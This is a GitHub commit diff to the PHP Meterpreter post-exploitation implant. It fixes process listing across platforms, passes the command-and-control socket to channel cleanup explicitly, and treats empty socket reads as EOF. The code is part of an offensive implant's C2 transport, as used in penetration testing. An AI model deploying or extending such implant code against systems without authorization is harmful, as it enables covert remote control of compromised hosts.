Skip to content

Commit 190183b

Browse files
committed
Update PHP Meterpreter errors
1 parent 600fb24 commit 190183b

2 files changed

Lines changed: 26 additions & 10 deletions

File tree

php/meterpreter/ext_server_stdapi.php

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1101,7 +1101,10 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
11011101
} else {
11021102
# This command produces a line like:
11031103
# 1553 root /sbin/getty -8 38400 tty1
1104-
$output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
1104+
# Use empty column-name syntax (pid=,user=,command=) to suppress the
1105+
# header portably on both Linux procps-ng and macOS/BSD ps.
1106+
# 'command' is the POSIX name; Linux also accepts 'cmd' but macOS does not.
1107+
$output = my_cmd("ps ax -w -o pid=,user=,command= 2>/dev/null");
11051108
$lines = explode("\n", trim($output));
11061109
foreach ($lines as $line) {
11071110
array_push($list, preg_split("/\s+/", trim($line)));

php/meterpreter/meterpreter.php

Lines changed: 22 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1000,7 +1000,8 @@ function channel_read($chan_id, $len) {
10001000
# there's no data right now but we haven't hit EOF yet.
10011001
if (false === $read and empty($ret)) {
10021002
if (interacting($chan_id)) {
1003-
handle_dead_resource_channel($c[1]);
1003+
$c2_sock = $GLOBALS['transport_list'][$GLOBALS['current_transport_idx']]['_socket'];
1004+
handle_dead_resource_channel($c[1], $c2_sock);
10041005
}
10051006
return false;
10061007
}
@@ -1099,9 +1100,7 @@ function write_tlv_to_socket($resource, $raw) {
10991100
write($resource, $xor . xor_bytes($xor, encrypt_packet($raw)));
11001101
}
11011102

1102-
function handle_dead_resource_channel($resource) {
1103-
global $msgsock;
1104-
1103+
function handle_dead_resource_channel($resource, $c2_sock) {
11051104
if (!is_resource($resource) && !is_object($resource)) {
11061105
return;
11071106
}
@@ -1129,7 +1128,7 @@ function handle_dead_resource_channel($resource) {
11291128

11301129
# Add the length to the beginning of the packet
11311130
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
1132-
write_tlv_to_socket($msgsock, $pkt);
1131+
write_tlv_to_socket($c2_sock, $pkt);
11331132
}
11341133
}
11351134

@@ -1674,7 +1673,7 @@ function dispatch_tcp(&$transport) {
16741673
} else {
16751674
$data = read($ready);
16761675
if (false === $data) {
1677-
handle_dead_resource_channel($ready);
1676+
handle_dead_resource_channel($ready, $msgsock);
16781677
} elseif (strlen($data) > 0) {
16791678
my_print(sprintf("Read returned %s bytes", strlen($data)));
16801679
$request = handle_resource_read_channel($ready, $data);
@@ -1924,11 +1923,16 @@ function read($resource, $len=null) {
19241923
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
19251924
} else {
19261925
my_print("Reading TCP socket");
1927-
$buff .= socket_read($resource, $len, PHP_BINARY_READ);
1926+
$result = socket_read($resource, $len, PHP_BINARY_READ);
1927+
# socket_read returns "" or false when the peer closes the connection.
1928+
if ($result === false || $result === '') {
1929+
$buff = false;
1930+
} else {
1931+
$buff .= $result;
1932+
}
19281933
}
19291934
break;
19301935
case 'stream':
1931-
global $msgsock;
19321936
# Calling select here should ensure that we never try to read from a socket
19331937
# or pipe that doesn't currently have data. If that ever happens, the
19341938
# whole php process will block waiting for data that may never come.
@@ -1972,13 +1976,22 @@ function read($resource, $len=null) {
19721976
} else {
19731977
$tmp = fread($resource, $len);
19741978
$last_requested_len = $len;
1979+
# An empty fread on a stream that stream_select reported as readable
1980+
# means the peer has closed the connection (EOF). feof() may not return
1981+
# true immediately on all stream types (e.g. SSL), so treat "" as EOF.
1982+
if ($tmp === false || $tmp === '') {
1983+
if (empty($buff)) {
1984+
$buff = false;
1985+
}
1986+
break;
1987+
}
19751988
$buff .= $tmp;
19761989
if (strlen($tmp) < $len) {
19771990
break;
19781991
}
19791992
}
19801993

1981-
if ($resource != $msgsock) { my_print("buff: '$buff'"); }
1994+
my_print("buff: '$buff'");
19821995
$r = Array($resource);
19831996
}
19841997
my_print(sprintf("Done with the big read loop on %s, got %d bytes, asked for %d bytes", get_resource_map_id($resource), strlen($buff), $last_requested_len));

0 commit comments

Comments
 (0)